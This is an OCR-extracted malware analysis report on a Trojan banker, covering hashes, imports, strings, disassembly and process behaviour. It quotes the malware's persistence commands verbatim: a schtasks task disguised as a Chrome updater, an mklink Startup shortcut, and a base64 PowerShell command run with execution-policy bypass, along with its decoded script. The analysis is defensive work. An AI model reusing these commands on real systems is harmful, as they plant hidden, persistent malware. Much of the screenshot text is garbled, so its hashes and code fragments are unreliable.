e MD5: 884da153fa3617c¢79a67b1941e4493ed

e SHA-1: e1346bc15d103f0bb96d3f93a1a042f030134c8b

e Sha256: e09013a2ac876746a5143f8ee8f997b06688b71adc05ddb81aeb9ala69fa6f88

¢ SSDeep:
6144:Y41Cfqy7+mdXzEQj0oFIxRr4VsXR7P9/Z2Q+5A0h1faY:zICfqy7+mdXzEQnYr4VsXRFf+5xaY

Static analysis
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property wvalue
—al indicators (1/14) mdS
P virustotal (50/72) hal
dos-header (64 bytes)
H sha256
B dos-stub (| This program ¢ o
fle-header (Mar2020) | T 10TVl
~b optionsl-header(GUl) | Shal-without-oveday
¥ directaries (7) sha256-without-overlay
sections (99.56 %) first-bytes-hex 4D 54 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
libraries (3) first-bytes-text MR e e
Wy imperts (24/93) size 232442 (bytes)
=3 size=without-overlay
i entropy 6.511
i3 resources (1) imphash 2CAES3COESINS2FANCTEI0BAFEIITIE
| abe strings (36/2423) signature Microsoft Visual C++ &
. -Ji} debug (Mar.2020) entry-point-hex ES 3B 08 00 00 E9 TA FE FF FF 8B 4D F4 64 89 0D 00
—EJ manifest (aslnvoker) file-version
~{La] description
E file-type executable
U cpu 32-bit
subsystem Gul
compiler-stamp Tue Mar 24 02-58:30 2020
debugger-starnp Tue Mar 24 02-58:30 2020
respurces-starmp
exports-stamp
versien-stamp n/a

The Trojan Banker’s static metadata and history (from VirusTotal.com)

History

Creation Time 2020-03-24 09:59:30
First Submission  2020-03-27 12:50:06
Last Submission  2020-03-27 12:50:06

From the static analysis of the cs.exe payload we have found some hints about the malicious activity and basic

functionality that it will soon execute and use on the compromised environment.
The following screenshot of the malicious file can show that the sections of the files are not packed or

encrypted. We can also see the assembly code and start figuring out the malicious context and purpose of this

Trojan Banker:
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7] Functions window o8& x IDA View-A 8 @ Hex View-1 g @ Structures B B Enums B Imports o & Exports [x]

Function name Segment A

7] sub_s01000 text

7] sub_s01016 text

7] sub_s01022 text

7] sub_20102 text

7] sub_s0103a text

7] sub_401050 text

7] sub_4010E0 Jtext

7 sub_s01200 text

7] sub_a013a0 text

7] sub_s013c0 text

7] sub_4013E0 stext

7] sub_s01370 text

7] sub_s01a70 text

7] sub_401600 text

7] sub_401740 stext

7] sub_s01880 text

7] sub_s01950 text

7] sub_s01820 text

7] sub_401880 text

7] sub_so1cE0 text

7] sub_s01E70 text

7] sub_s01FF0 text

7] sub_s02180 ext

7] sub_s02260 text

7] sub_s02380 text

7] sub_402410 text

7] sub_s024a0 text

7] sub_a02510 text

Z! sub_402580 text o

< >

1h Graph overview o0& x
20.57% (-1775,-120) (401,€77) 00DDCAB? 0000DD000040DEET: start (Synchronized with Hew View-1)

=] ouputuncon tivate Window

The first step in understanding the functionality of the payload, then will be to check the imports and
the API calls that have been used by the payload.
The main functions that we discovered are:

» CreateProcess: this function allows the attacker to create a new process and its primary thread. The new
process runs in the security context of calling the process. Most of the time, the attackers will use this API

call to execute the malicious process:

8 & =]

Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (IAT)
B [l File: Palyload bin
| — (3 Dos Header 00034444 MN/A 0003483C 00034840 00034844 00034848 0003484C
|Z) Mt Headers szhnsi (nFunctions) Dword Dword Dword Dword Dword
=] File Header [ 1 T e - e -
|Z] Optional Header sz e
|5 Data Directories [x] USER32.dII

[ A Ea i b ADVAPIZ2.dlI

— 23 Resource Directory
— [ Relocation Directory
— &BDebug Directony

— [CBTLS Directory

L 3, Add .

— 4, Dependency Walker
— ) Hex Editor 0003489C 00024A10 00034842 00034444

I %m Adder Dword Dword Word szhnsi
— ), Quick Disassembler 00036024 00036024 0007 CreateMutexA

Sleep

GetModuleFileNamed

00036064 00036064 032D GlobalAlloc

00036073 00036073 033F GlobalUnlock

» CreateDirectory: this function allows the attacker to create a new directory. If the underlying file system
supports security on files and directories, the function applies a specified security descriptor to the new
directory. Usually, the attackers will use this API call to create the directory where the
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malicious component will be stored in order to gain persistency on the victim’s host.

g Palyload. bin
Module Mame Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs [IAT)

3 [& File: Palyload bin
[ i o bisiiar 00034AA4 N/A 0003483C 00034840 00034244 00034843 0003484C

Nt Headers szhnsi (nFunctions) Dword Dword Dword Dword Dword
File Header

Optional Header
Data Directories [x]
— Section Headers [x]

USER32.dIl

ADVAPIZ2.dII

— |5 Resource Directory
— EﬂRelocation Directory
— EZlDebug Directory

— [ TLS Directory

[ .. % HE o

L % Dependency Walker OFTs FT= (IAT) Hint MName

— %% Hex Editor 000348C0 00024434 00035068 00035064
— 4, Identifier

I %m Adder Dword Dword Word szhinsi

— % Quick Disassembler 0003668A 0003668A 034E HeapSize
— %, Rebuilder

L 4R Editor 0D03667C 0003667C 00CB CreateFileW

00036658 00036658 0544 SetStdHandle
00036646 00036646 0284 GetProcessHeap
00036096 00036096 0334 GlobalFree

» WriteFile: this function allows the attacker to write data to the specified file or input/output (I/O) device.
Usually, the adversaries will use this API call to create (write) a malicious file component. It also can be
used for persistency and post-exploitation methods.

Medule Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (IAT)
1 [=] File: Palyload bin
— [ Doz Header 000344484 N/A 0003483C 00034840 00034844 00034848 0003484C
Mt Headers szhnsi (nFunctions) Dword
] File Header
(=] Optional Header - :
) Data Directoriss [x] USER32.dIl

Pt ecom Hendoz bl ADVAPI32.dil

— I Resource Directory
— [0 Relocation Directory
— |3 Debug Directory
— [ TLS Directory

L %m Adder Dword Dword Word szhnsi
— %), Quick Disassembler 00036494 00036494 02D2 GetStdHandle

000364B0 000364B0 0349 HeapFree
000364BC 000364BC 034C HeapReAlloc
000364CA 000364CA 0345 HeapAlloc
000364D6 000364D6 038D IsValidLocale

» GetCommandLine: this function allows the attacker to retrieve the command-line string for the current
process. Attackers use this API call to execute (run command line) malicious code. It can also be used for

Fileless and post-exploitation methods.
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£l [H File: Palyload bin
— (= Dos Header

[Z] Nt Headers
=] File Header
= Optional Header
(=] Data Directories [x]

— [Z Section Headers [x]

— IC3) Resource Directory
— Relocation Directory
— aDebug Directory
— [ TLS Directory

Module Name Impeorts OFTs TimeDateStamp | ForwarderChain | Mame RVA FT= (IAT)
00034444 MNAA 0003483C 00034840 00034844 00034848 0003484C
szhnsi (nFunctions) Dword Dword Dword Dword Dword

USER32.dIl

ADVAPIZ2.dII

Dword

Dword

szAnsi

000365E2

000365E2

GetOEMCP

00036600 00036600 0107 GetCommandLineW
00036612 00036612 0237 GetEnvironmentStringsW
0003662C 0003662C 01AA FreeEnvironmentStringsW
000366A6 00036646 0510 SetEndOfFile

All the above-mentioned API calls are associated with Kerenel32.dll. This DLL exports functions

that relate to filesystem operations, hardware, and processes.

The next interesting functionality that is used by the below API functions implies that the attacker may have the

ability to hook, record, and steal the clipboard data which can contains sensitive information (usernames,

passwords, etc.). The attacker used USER.DLL to perform a keyboard monitoring (keylogging).

7 [=] Fille: Palyload bin
— (=] Dos Header
[Z] Mt Headers
File Header
[Z] Optional Header

— (& Section Headers [x]

— (2 Resource Directory
— Eﬂﬂelocation Directory
— |2 Debug Directory
— [CTLS Directory

— 4, Hex Editor
— 9, Identifier
— 9, Import Adder

— 4, Rebuilder
. &Hmm Editor

Data Directories [x]

—%Pdtl'm(:nmmrler
— 4, Dependency Walker

— 4, Quick Disassembler

owza 1 wosc s

I'i IMICOUIE Name IFTI UL L%l o HITIEL dLESLDITIRY rFurwdraer-ridir INdITIE VA L =R
|I 00034B0E MN/A 00034250 00034854 00034858 0003485C 00034860
szhAnsi (nFunctions) Dword Dword Dword Dword Dword

KERMEL32.dll 87 | DD03SEGS 00000000 00000000 00036044 00026008

Dword Dword Word szAnsi

00036004 00036004 0323 SetClipboardData
000360C2 000360C2 D04E CloseClipboard
00036082 000360B2 02A1 OpenClipboard
000360E3 000360E3 0133 GetClipboardData

EmptyClipboard

The final API function that we have covered in this section is the GetUserName function that can be used by the

attacker for enumeration and discovering actions.
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Palyload. bin

3 [= File: Palyload bin
— (=] Dos Header
[Z] Nt Headers
12 File Header
[Z] Optional Header
[Z] Data Directories [x]
— (= Section Headers [x]

— I3 Resource Directony
— 10 Relocation Directory
— |3 Debug Directory

— IC)TLS Directory

— ﬁ?dchtﬂ Converter
— %, Dependency Walker
— 4, Hex Editor

— @y, Identifier

— 4, Import Adder

— 4, Quick Disassembler
— 4, Rebuilder

H— %Rﬂﬂlm Editer

Module Name | Imports OFTs TimeDateStamp | ForwarderChain | Mame RVA FT= (IAT)
00034B2A MN/A 00034864 00034368 0003486C 00034870 00034874
szhAnsi (nFunctions) Dword Dword Dword Dword Dword
KERNEL32.dll a7 00035E94 00000000 00000000 00036044 00026008
USER32.dIl 5 D0033FF4 00000000 00000000 0003610E 00026168

After discovering and understanding the functionality of the cs.exe payload, we have exported the strings from the

payload. The stings are good indicators for the malicious actions that the malware will perform, which will

eventually lead us to new hints about the attack stages of the Trojan Banker:

S v ws ¢ wsueam
E .rdata:0042. 00000016 9 iostream stream error
%] rdata:0042... 00000015 c ios_base::badbit set
5] rdat0042. 00000016 C o basefaibitset
s’ .rdata:0042.. 00000015 9 ios_base::eofbit set
%] rdata:0042... 00DODOIF c C:\\ProgramDatal|HYSVC\hysvc.exe
5] rdata:0042... 00000016 c C:\\ProgramDatal|HYSVEY,
5] rdata:0042. 00000013  C omd jctimeout/t4 a8\
5] rosta:0042. 00000075  C omd jeschissks ff freate fin \'GoogleChromelpdateTask\” jsc hourly fmo 3 /tr Vemd fc C:\\ProgramData \HYSVC Whysve. axe\”
7S] rdata:0042... 0000006C c milink Y°C: \\ProgramD: t Menul\\Pr tpYhysvel” C:\\ProgramData {HYSVC\thysve.exe
E .rdata:0042. 00000299 c powershell -w 1 -exec bypass -e JABvAGIAagBTAGGAZOE AATGBIAHCALOE ! DAQWBVAGDATWEIAGoAZQBJAHQAIAACACIAVWETA fo] \CkADQAKACQAbWBIAGoAUWBOAGBAC.
] rdata:0042.. 00000013 € invaid string position
5] rdata:0042.. 00000010 € stingtoolong
s .rdata:0042. 00000016 c vector <bool > too long
] rdata:0042... 00000013 c vector<T’ too long
5] rdata:0042... 00000017 c 08~ =20 IN-0,:="n\ b
= DOS Header Offset Type Strings found
" @ [BichHeader 00024F6C ASClI C:\ProgramData\HYSVC\
~ -~ NTHeader
File Header 00024F4C Ascll C\ProgramData\HYSVClhysve exe
« [ Optional Header 00024FFD Ascll C:\ProgramData\HYSVCihysve,exe”
Data Directories 00025029 Ascll & i i p\hysve® C HYSVChysve.exe
Section Headers 00D24FCE Ascll ChromellpdateTask" /sc hourly fmo 3 /tr “emd /c CA\ProgramData\ HVSVC\ hysve.exe”
-.#] DIRECTORY_ENTRY_IMPORT e et |
i} DIRECTORY.ENTRY.RESOURCE || 0.1 Ascll DeleteCriticalSection
£ DIRECTORY_ENTRY_BASERELOC
2 DIRECTORY.ENTRY.DEBUG 00035FC1 AsCll Root_node@std@@
5 DIRECTORY_ENTRY_TLS 00024850 UNICODE  del-runtime-I1-1-2
42 DIRECTORY_ENTRY_LOAD_CONFIG|| 00020208 AsCll delete
~-#] DIRECTORY_ENTRY_IAT 000294F7 ASCI delete closure’
2] AppManifest 00035E8D Ascl delete@std@@
i %’Eg“ filg 000294D1 Ascl delete]]
41 UNICODE 00020513 AsCll deletel] closure’
@ URL 00029313 Ascll deleting destructor’
- Registry 00029358 AsCll deleting destructor’
1 suspicious 00025048 AsCll pass - gETAGGAZQB JAASACAATGBIAHCALL g gACOAQWBLAGDATWBI QBJAHQAIAAOAC gBpAHAAG bAAIACKADQAKAC
00025080 AsCll powershell -w 1 -exec bypass -¢ JABVAGIAgBTAGgAZOBSAGWAIAASACAATIBIAHEAL dAAGACOAQWBYA ZOBJAHOAIAAOACI AVWETAGMACgBPAHAAJAAUAFMAZABIAC

The main stings we have investigated are the following:

» Creation of a new file (hysvc.exe) in the ProgamData directory (this file is created by using WinAPI).
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» Manipulation of the StartUp directory (can be used for persistence).
» Execution of CMD.

e Creation of Scheduled Task (can be used for Persistence) to run the new hysvc.exe file.
e Creation of LNK file that is linked to the new hysvc.exe file.

o Execution of a base64 PowerShell command.
In order to understand the above-mentioned strings, we looked at the assembly code by using IDA.

The first block containing an interesting offset that was discovered and analyzed is the aCProgramdataHy that is

associated with the new payload that will be created in the ProgamData directory.

okl e |

loc_4BAFSE:

push 1Eh

push offset aCProgramdataly ; "C:\\ProgramData‘M\HYSVC\\hyswvc.exe"
lea ecx, [ebp+var_278]

mov [ebptvar_268], @

Moy [ebptvar_264], @Fh

mov byte ptr [ebptvar_278], @
call sub_485A88

push 1@dh ; nsize

lea eax, [ebp+Filename]

push eax 3 1lpFilename
push ] 3 hModule
call ds:GetModuleFileNames

lea ecx, [ebp+Filename]

mov [ebptvar_258], @

mov [ebptvar_24C], @Fh

lea edx, [ecx+l]

mov byte ptr [ebp+var_2608], @
nop dword ptr [eax+eax+8eh)]

The second block showed a few other interesting offsets:

aCMDCTimeoutT4
aCMDSchtaskFC
aMKIlinkCProgram
aPowershell W1Ex
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ol (= -
loc_40824F:

push 4ah

lea eax, [ebp+StartupInfo.lpReserved]
noV [ebp+StartupInfo.cb], 44h

push @

push cax

call sub_49F330

lea eax, [ebptvar_278)

push eax

lea cax, [ebp+CommandLine]

push a T3 T4 .

push cax

call sub_4916E@

add esp, 18h

oY ecx, eax

push 1

push offset asc_426584 ;
call sub_498940

mOV dword ptr [ebp+var_228], @
lea ecx, [ebp+CommandLine]
BOV dword ptr [ebp+var_228+4], @

movups xme@, xmeword ptr [eax)
movups [ebptvar_238], xmmd

movg i}, gword ptr [eax+18h]
movg [ebp+var_228], xmml

Jov dword ptr [eax+18h], @

mov dword ptr [eax+l4h], @Fh
nov byte ptr [eax], @

call sub_492F10

push 74h

push offset aCmdCSchtasksFC ; nd /¢ schtash f cate /tn \“Google
lea ecx, |ebptvar_

nov [ebp+var_208], @

mov [ebp+var_284], @Fh

BoV [ebp+var_218], @

call sub_498A20

push &Bh

push

lea ecx, |ebptvar_ 208
nov [ebp+var_1F@], @
BV [ebp+var_1EC], @&Fh
mov [ebpivar_2008], @
call sub_498A20

push 298h

push offset aPowershellWlEx ; ershell ExE ;pass -¢ JAE
lea €Cx, |cbpivar_

mov [ebp+var_1D8], @
nov [ebp+var_1D4], @Fh
nov [ebp+var_1E8], @
call sub_488A50

mov esi, ds:CloseHandle
lea edi, [ebptvar_230]
push ebx

The aCMDCTimeoutT4 offset contains a CMD command line that run a “timeout /t 4” that pauses the command
processor for 4 seconds before launching the CMD process again. This defense evasion technique is being used to

prevent any detection by security application and traditional Anti-Virus vendors.

almdCTimeoutT4 db "'cmd /c timeout /t 4 28 "',8
; DATA XREF: sub 4BAESB+3EGTO

The aCMDSchtaskFC offset contains another CMD command line that will run a “schtasks” for creating a
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scheduled task on the compromised host. The name of the schedule task will be “GoogleChromUpdateTask” (/tn —
taskname ) and the task is scheduled to run hysvc.exe every 1 hour (/sc — schedule).

aCmdCSchtasksFC db 'cmd /c schtasks /f /create /tn "GoogleChromeUpdateTask™ /sc hourl'
; DATA XREF: sub_ 48AE98+44BTc
db 'y /mo 3 /tr "omd /c C:\ProgramData\HYSWCh\hysvc.exe""',8

The aMKlinkCProgram offset contains a “mklink” command that will create a link (.LNK) file in the StartUp

directory that will be linked to the hysvc.exe file.

aMklinkCProgram db 'mklink “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sta'
; DATA XREF: sub_ 4BAES8+473%0
db "rtUp\hysvec"™ C:\ProgramData‘\HYSVC\hysvc.exe',8

The aPowershell W1EXx offset contains a base64 PowerShell command that will be executed by the main payload

(cs.exe).

aPowershellWlEx db 'powershell -w 1 -exec bypass -e JABvAGIAagBTAGEAZQBsAGWATAASACAAT'
; DATA XREF: sub 48AE9B+448To
db 'gBlAHcALQBPAGIAagElAGMAdAARACBAWEVAGBATWE LAGOATQE JAHQATAACACT AV
db 'BTAGMACEBpAHAAdAAUAFMARAR LAGWABAATACKADQAKACQABWE IAGOALWBOAGBACEE '
db 'BAEMADQBRACAAPQAZACQAbWELAGOALWBCAGUABABSACAAWEYAGUAYDBRAGUALWES
db 'AGBACgBAAGMADQBRACEZATABLAGAAdEARAFUALWBFAF TAUABSAESAREE JAEWARQARA "
db 'CsATAAIAFWALWBBAGEACZBRACAATOBLAGLAdQBCAFAACEBVAGCACEBhAGBACWBCAF'
db 'MADABhAHIADABLAHAATgAZACSATAATAFWASABSAHMADZE JACSAABABUAGSATZAPALE "
db 'ACgAKAGBAYZBQAFMAABVAHIAdABDAHUAAAUAFQAYDBYAGCAZQBBAFALYBBAGEA"
db 'POAIAEMAOEBCAFAACEBVAGCACEBhAGRARABhAHOAYDBCAEEANOBTAFYAQWBCAGEAR "

After preforming a static analysis and code analysis we wil know move to execute the cs.exe payload and preform a

Dynamic/Behavior analysis.

Behavior Analysis

Once we launched the payload, we immediately saw the following process tree:

- HULuLLTAT g usLa - visuar .. . : wina
=l C:\Users', _ ] SV \Users\cyneth... 4/23/2020 8:05:1

= gl cmd exe (7176) Windows Comma... CAWINDOWSAS.. - Microsoft Corporat... ... 4/23/2020 8:05:1...
DESKTOP-71BSV... \?MCAWINDOW.... 4/23/2020 8:05:1... n/a

1D UYL

[EH Conhost exe (3784) Console Window ... C:\WINDOWSMS... -Micmsoﬂ Corporat...
% limeout.exe (5388) timeout - pauses c... CAWINDOWSAS... . Microsoft Corporat... DESKTOP-71BSV... timeout /4 4 4/23/2020 8:05:1... 4/23/2020 8:05:2...
@] hysvc.exe (852) C:\ProgramData’.... . DESKTOP-71BSV... "C:\ProgramData".... 4/23/2020 8:05:2... n/a

(= 8 omd exe (3480) Windows Comma... CAWINDOWSAS... Microsoft Corporat... DESKTOP-71BSV... cmd /c schtasks /... 4/23/2020 8:05:1... 4/23/2020 8:05:1...

Microsoft Corporat... DESKTOP-71BSV... \?MCAWINDOW... 4/23/2020 8:05:1... 4/23/2020 3:05:1...
Microsoft Corporat... DESKTOP-71BSV... schtasks A /crea... 4/23/2020 8:05:1... 4/23/2020 8:05:1...

i Conhost exe (6334) Console Window ... CAWINDOWSAS..
% schtasks.exe (3608) Task Scheduler C... C:ANWINDOWSAS...

= ;¢ powershell.exe (7900) Windows PowerS... CAWINDOWSAS... Microsoft Corporat... DESKTOP-71BSV... powershell -w 1 ... 4/23/2020 8:05:1... 4/23/2020 8:05:1...
i Conhost exe (2188) Console Window ... CANWINDOWSAS.. Microsoft Corporat... DESKTOP-71BSV... \FACAWINDOW... 4/23/2020 8:05:1... 4/23/2020 8:05:1...
i Fuanthinn ave (19821 Fuanthina %Pranram Filee | I it rinle NFSKTAP-71RSV  "C\Praram Filee  4/22/70M 181 nia

As we learned from the static analysis, the CreateProcess API function will execute a CMD instance
and create a scheduled task:

e CMD Timeout command:
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o | 74254058 &5 nt3 HIGEaRED

<3 13 EAX  OOTAAF7S "emd /C TIMEOUT /T 4 && \"C:\\ProgranData\\HYSVC\\hysvc. exe\""
ines X  oooooosr 7
i ECX  oozEFSCC
mov edi, edi Createrrocessa EDX 0 oe s s
push ebp EBP  002EFS50
mov ebp,esp ESP  00ZEF594
pop =bp EST  74943C50 <kernal32.Closenandles
IMp_dword prr ds:[<aCreatePracessax] | JMP.aCreateProcessa EDI  0026F720  &”cmd /C TIMEOUT /T 4 8& \"C:\\Programpata\\HYSVCY\hysvc.exe\'"
int3
1nt3 EIP 74954060 <kernel3z.CreateProcessa>
int3
i3 EFLAGS 00000300
int3 Bivs
S oF 0 SE 0 DFO
ines CFo TF1 IF1
anea

Operation: Process Create

Result: SUCCESS

Path: CAWINDOWS\SysWOWES\emd, exe
Duration: 0.0000000

PID: 7176
Command line: cmd Jfc imeout [/t 4 && "C:\ProgramData\HYSVC Yhysve.exe”™

e schtasks command:

< s = R
cc int3 SHECCHERY
« i X O007ACESS  "cd /c schtasks /f /create /tn \"GooglechroneUpdateTask\" /sc hourly /mo 3 /tr \"cnd /c C
& i = e &
= B sEne
= i e
o rd
& T e
= BE RN RGNS reate /tn \congtechroneupdateTasia” /sc hourly foo 3 /ir \"end /c
& s
EE ::g EIP 74954060 <kernel32.CreateProcessa>
& s
Sorr B e, ot S—— o Mo cocoass
= T
8BEC ov ebp,esp o b
3 =fe
o i e BB 0 oo e TR | acresterrocessn
& s RS 00anent (FETENRSE e sor_rouo)
& s

Operation: Process Create

Result: SUCCESS

Path: C:\WINDOWS\SysWOWe4emd. exe
Duration: 0.0000000

PID: 3480
Command line: cmd [t schtasks /f jcreate fin "GoogleChromeUpdateTask™ fsc hourly fmo 3 ftr "omd fc C:\ProgramData\HYSVC hysve.exe™

In order to gain persistency on the compromised host the attacker created a schedule task in the Task Scheduler.
Moreover, the attacker tried to masquerade it with a legitimate name of “GoogleChromUpdateTask” as we can see

in the screenshot below:

B Task Scheduler (Local)

Name Status Triggers Next Run Time Last Run Time: Last Run Result
» |z Task Scheduler Library
(2 GoogleUpdateTaskMachineCore Running Multiple triggers defined 4/24/2020 1:23:58 AM  4/23/2020 T:24:32 AM  The operator or administrator has refused the request. (0x:
(B GoogleUpdateTaskMachineUA Ready At 1:23 AM every day - After triggered, repeat every 1 hour for a duration of 1 day. 4/23/2020%:23:58 AM  4/23/2020 8:2433 AM  The operation completed successfully. (0x0)
< B

General Triggers Actions Conditions Settings  History

When you ereate 2 task, you must specify the action that will oceur when your task starts. To change these actions, open the task property pages using the Properties command.

Action Details
Start a program emd /e C:AProgramDatz\HYSVCihysve.exe

The task information shows that it run the file every 3 hours:
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General Triggers  Actions Conditions Settings  History

When you create a task, you can specify the conditions that will trigger the task. To change these triggers, open the task property pages using the Properties command.

Trigger

One time

Details

At 8:05 AM on

)20 - After triggered, repeat every 03:

Status

) indefinitely.

The CreateFile and CreateDirectory functions create a new payload (hysvc.exe) in the PrgramData directory:

e || FEGEC1BZF cC int3
e || 7EBC1B30 8BFF mov edi,edi CreateFilew
. 44 push ebp
. BBEC mov ebp,esp
. 83E4 F8 and esp,FFFFFFF8
. B3EC 18 sub esp,1s8
. 8B4D 1C mov ecx,dword ptr ss:[febp+iC]
e || 7eBC1B3E 8BC1 mov eax,ecx
& 76BC1B40 25 B77F0000 and eax,7FB7
® || FEBC1E45 C70424 15000000 mov dword ptr ss:|lesplll, 18
® || FEBEC1B4C 594424 04 mov dword ptr ss:|fflesp+4,eax [esp+4]:L"C:%\Programdata’\HYsvCi\hysvc. exe”
e[ 7eBC1BSD 8BC1 mov eax,ecx
e 7sBC1BS2 25 00D0OFOFF and eax,FFFO0000
® | 7EGBEC1ES 894424 08 mov dword ptr ss:llesp+8],eax
] GEC1BSE F7C1 00001000 test ecx,l100000
® | FEEC1BGL AT jne kernelbase.76BC1E94
® || FEBC1BG3 836424 0C 00 and dword ptr ss:[flesp+Clj,0
e 7EBC1BGS SE45 14 mov eax,dword ptr ss:|[febp+14]
® | 7GEC1EGE 8B5S OC mov edx,dword ptr ss:[febp+c]
® (| FTEBC1BGE BB4D 0B mov ecx,dword ptr ss:febp+s] [ebp+8] :L"C:\\ProgramData‘\ s\ HYsvCh\hysve. exa”
. 6BC1B71 894424 10 mov dword ptr ss:llespt+1offl, eax
® | FEBC1ETS 8B45 20 mov eax,dword ptr ss:[febp+zo]
e 7eBC1BTS 64 00 push 0
® | FEEC1ETA 894424 18 mov dword ptr ss:llesp+isf, eax
e (| FEBCIBTE 8D4424 04 lea eax,dword ptr ss:[lesp+al) [esp+4] :L"C:\\ProgramData‘\\HYsvCy\ hysve. exa”
e || FEBC1BS2 50 push eax
e | FEEC1ES3 FF75 18 push dword ptr ss:[febp+1s]
e 7EBC1BSG FF75 10 push dword ptr ss:|[febp+10§
e || 7eEC1EE9 ES 12000000 €all kernelbase.76EC1BAD
e | 76BC1BSE BBES mov esp.ebo
“« v 4 » ThisPC » Local Disk (Z:) » ProgramData » HYSWC
.
Marme Date modified Type Size
s+ Quick access
[ hysve.exe 4/23/2020 8:03 AM Application 227 KB

[ Desktop »
* Downloads -

Documents -

After checking the hash of the new hysvc.exe payload, we have found that it is the same file as the original cs.exe

payload. Thus, the initial trojan just copied itself to a new location:

File Edit View Options Help

G020 EReE A

Filename ~ MD3 SHA1 CRC32 SHA-236

[85] hysve.exe 884da153fa3617c79a67b1941e4493d £1346bc15d103f0bb96d3f93a1a042f030134c...  034a0786 e09013a2acd76
[85]Payload.exe 884da153fa3617c79a67b1941e4493d £1346bc15d103f0bb96d3f93a1a042f030134c...  034a0786 e09013a2acl76

After creating the second payload (hysvc.exe) and a scheduled task to run this payload, the initial payload (cs.exe)

is launching PowerShell in order to run an encoded malicious command:
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Input 'jﬁ: Eai + 0O2 1 =
JABVAGIAagBTAGEAZOBSAGWATAASACAATEBIAHCALOBPAGIARgBLAGMAdAAZACBAQWBYAGBATWEIAGOAZQBJAHOATAAOACTAVWETAGMACZE pAHAADARUAFMABAB
14GWAbAATACKADQAKACQAbWE IAGDAUWBOAGBACZEBAEMAQBRACAAPQAZACOADKE I AGOAUWBOAGUADABSACAAQUWBYAGUAYQEBAGUALWBOAGBACZBBAGMAOBBAC
gAJABLAGAAdgABAFUALWBFAF IAUABSAEBAREE JAEWARQAZACSATAAIAFWAUWBBAGEACEBBACAATOB1AGAAdOBCAFAACEBYAGCACEBhAGBACWBCAFMADABhAHTA
ABLAHAATgAgACSATAALAFWABABSAHMAEE JACAADABUAGSAT gAPARNBACEAKAGBAYZBgAFMAGABYAHT AdABDAHUAdAAUAFQAYQBY AGCAZOBBAFAAYOBAAGEAPQAL
AEMADgBCAFAACEBVAGCACEBhAGBARABhAHDAYQBCAEGAWOBTAFYAQUWBCAGEAOBZAHYAYWALAGUAABIACTADQAKACQADWB IAGOAUWBOAGBACEBAAEMADQEBACS
AUwWBhAHYAZQAOACKA

time: 2ms

Output il A0 ® ¥

lines:
$objShell = New-Object -ComObject ("WScript.Shell™)
$objShortCut = %objShell.CreateShortcut($env:USERPROFILE + "\Start Menu‘\Programs\Startup” + "\hyswvc.lnk")
$objShortCut.TargetPath="C:\ProgramData\HYSVC\hysvc. exe”
$objShortCut.Save()

The decoded command, as shown above, has used a Com-Object of “Wscript.Shell” to create a shortcut file

(LNK) in the StartUp directory which is linked to the hysvc.exe payload. This is basically an attempt to use a

second persistence technique for the payload to run every time the victim reboots the compromised
machine, by automatically executing the LNK file from the startup:

o “AppData\Romming\Microsoft\Windows\Start Menu\Programs\StartUp”

Bou @oaph  [Jlog  [Notes @ Bredkponts M8 MemoryMep [ CallStack | SBSEH  [o|Saipt | @ Symbols > Sowce S References W Theads i/ Snowman @ Handes ¢ Trace
7 Wide FrU

ql
>

e g EAX  007ACEBS  "mKTink \"C:\\ProgramData\\Microsoft\\Windows\\STart Menu\\Programs\\STartUp\\hysve\" C:\\Programata\\HYSVC\\hy
= i) EBX  000000EE K
Ecx cc
EDX 00857865
EBP  002EFI50
c nt3 ESP  002EF594
c int3 ESI  745i3C50  <kernel3z.CloseHandles
cc int3 EDI  002EF7S0  a"mklink  \"C:\\ProgramData\\MicrosoFt\\Windows\\Start Menu\\Programs\\StartUp\\hysve\" C:\\Programbata\\HYSVC\\F

c int3 EIP 74954060  <kernel3z.Createrrocessa>
=3 ints

EFLAGS _ 00000304
saFE roy edi,edi createprocessa e

ss push ebp
saeC mov ebp, esp oo st pro

B
- Bf>5 nosears §oR wnrd nrr de:TeaCreatePracassas] | WP screarePracassa

Operation: CreateFile
Result: MAME INVALID
Path: C:\Users\cynet\Desktopmklink "C:\ProgramData\Microsoft\Windows\start Menu'\Programs\startUphysve” Ci\ProgramData\HYSVC \hyswe, exe
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1 <« Users » cynet » AppData » Reaming » Microsoft » Windows » Start Menu » Programs » Startup

~

MName Date modified Type Size
# Quick access
desktop.ini 3/1/2020 2:35 AM Configuration sett... 1KB
B Desktop -
=] hysve 4/23/2020 8:05 AM Shortcut 1KB
* Downloads b
| Documents -
&= Pictures -
procdot

The LNK file is linked to the trojan Banker (hysvc.exe) which is now located in the ProgramData directory.

A hysve Properties et
Security Details Previous Versions
General Shortcut Compatibility

hysvc

Target type: Application

Target location: HYSWVC

Target: C.\ProgramDiata'HY SVC \hysve.exe |

Start in: | |

Shortout key: | Mone |

Run: | Mormal window hd |

Comment: | |

! Cpen File Location | | Change lcon... | | Advanced... |
[ ok ]| camesl || Aol

Memory context of the payload:
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00000530 50 3d ££f 00 b9 42 £c 00 00 00 OO0 0O &2 00 00 00 P=...B...... 1, R
00000540

00000550

00000580

00000570

00000530 e el he it
Qooa00san irecut /t 4 &8 "
(apel-ETamO 0 00 OO0 00 OO0 00 00 00 63 ed 64 20 2f 63 20 73 ........ crd fc =
000005ka chtasks /f fcrea
Q000050 te /ftn "GoogleCh)
Qooao0sdon rorellpdateTask™
0oa005en fac haurly /ma 3
000005£0 Jtr Temd fc
aoaooenn ErogracLCatal
0oa00elon C\hyavc.exe"....
0o000e20 rklink "C
00000e30 rarCata‘Mi
00000640 tyHinday
Qooa0es0 Menuh\ PFrograma®
00o00es artlUpi\hyavc™
QoogoeT0 ErogracLCata’
aooaoes0n CAhysvCc.exe.....
0oo00egn exrahell -w 1
00o00ea 3 —-EXec bDypass -2
00000ek0 4a 41 42 T8 41 47 49 41 &1 &7 42 54 41 47 &7 41 JRBvAGIRagBTaGgd

After we finished the investigation and analyzed the trojan banker, we can go back to the second part of the first

PowerShell Command.

thdTask '[System.Text.Encoding]: :Unicode.GetString([System.Convert]: :FromBase64String( "WwBTAHKACWBRAGUAbQAUAE4AZQBOACAAUWBLAHIAdgBpAGMAZQBQAGEAaQ
